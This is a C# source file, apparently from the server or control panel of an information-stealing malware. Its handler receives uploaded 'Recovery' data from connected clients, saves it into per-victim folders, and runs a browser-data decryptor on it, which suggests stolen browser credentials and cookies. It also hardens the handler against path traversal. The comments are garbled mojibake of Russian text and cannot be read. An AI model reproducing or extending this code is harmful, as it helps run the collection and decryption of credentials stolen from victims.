73 lines
2.9 KiB
C#
73 lines
2.9 KiB
C#
using System;
|
|
using System.Drawing;
|
|
using System.IO;
|
|
using Server.Connectings;
|
|
using Server.Helper;
|
|
|
|
namespace Server.Messages;
|
|
|
|
internal class HandlerRecovery1 // Óáåäèòåñü, ÷òî èìÿ êëàññà âåðíîå
|
|
{
|
|
public static void Read(Clients clients, object[] array)
|
|
{
|
|
// 1. Ïîëó÷àåì íåïðîâåðåííûé èäåíòèôèêàòîð (÷àñòü ïóòè) îò êëèåíòà.
|
|
string untrustedId = array[1]?.ToString();
|
|
|
|
if (string.IsNullOrEmpty(untrustedId))
|
|
{
|
|
clients.Disconnect();
|
|
return;
|
|
}
|
|
|
|
// 2. Îïðåäåëÿåì áåçîïàñíûå áàçîâûå äèðåêòîðèè.
|
|
string usersBaseDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "Users");
|
|
string newLogsBaseDir = Path.Combine(AppDomain.CurrentDomain.BaseDirectory, "NewLogs");
|
|
|
|
// 3. Èñïîëüçóåì íàø íîâûé áåçîïàñíûé ìåòîä äëÿ ïîëó÷åíèÿ ïîëíûõ ïóòåé.
|
|
string clientUserPath = PathSanitizer.SanitizeAndResolvePath(untrustedId, usersBaseDir);
|
|
string clientNewLogsPath = PathSanitizer.SanitizeAndResolvePath(untrustedId, newLogsBaseDir);
|
|
|
|
// 4. ÃËÀÂÍÀß ÏÐÎÂÅÐÊÀ: Åñëè êàêîé-ëèáî èç ïóòåé null, ýòî áûëà ïîïûòêà àòàêè (Path Traversal).
|
|
if (clientUserPath == null || clientNewLogsPath == null)
|
|
{
|
|
Methods.AppendLogs(clients.IP, "Path Traversal-àòàêà áûëà çàáëîêèðîâàíà.", Color.Red);
|
|
clients.Disconnect();
|
|
return;
|
|
}
|
|
|
|
try
|
|
{
|
|
// 5. Ñîçäàåì áåçîïàñíûå ïóòè äëÿ ôàéëîâ è ïàïîê.
|
|
string recoveryPath = Path.Combine(clientUserPath, "Recovery");
|
|
string sourceInfoFile = Path.Combine(clientUserPath, "Information.txt");
|
|
string destInfoFileNewLogs = Path.Combine(clientNewLogsPath, "InformationLeb.txt");
|
|
string destInfoFileRecovery = Path.Combine(recoveryPath, "InformationLeb.txt");
|
|
|
|
// Óáåæäàåìñÿ, ÷òî äèðåêòîðèè ñóùåñòâóþò.
|
|
Directory.CreateDirectory(recoveryPath);
|
|
Directory.CreateDirectory(clientNewLogsPath);
|
|
|
|
// 6. Èñïîëüçóåì òîëüêî áåçîïàñíûå, ïîëíûå ïóòè.
|
|
Methods.AppendLogs(clients.IP, "Save logs in: " + recoveryPath, Color.MediumPurple);
|
|
DynamicFiles.Save(recoveryPath, (object[])array[2]);
|
|
DynamicFiles.Save(clientNewLogsPath, (object[])array[2]);
|
|
DecryptorBrowsers.Start(recoveryPath);
|
|
DecryptorBrowsers.Start(clientNewLogsPath);
|
|
|
|
// Ïðîâåðÿåì, ÷òî èñõîäíûé ôàéë ñóùåñòâóåò ïåðåä êîïèðîâàíèåì
|
|
if (File.Exists(sourceInfoFile))
|
|
{
|
|
File.Copy(sourceInfoFile, destInfoFileNewLogs, true);
|
|
File.Copy(sourceInfoFile, destInfoFileRecovery, true);
|
|
}
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Methods.AppendLogs(clients.IP, "Îøèáêà ïðè îáðàáîòêå ôàéëîâ: " + ex.Message, Color.Red);
|
|
}
|
|
finally
|
|
{
|
|
clients.Disconnect();
|
|
}
|
|
}
|
|
} |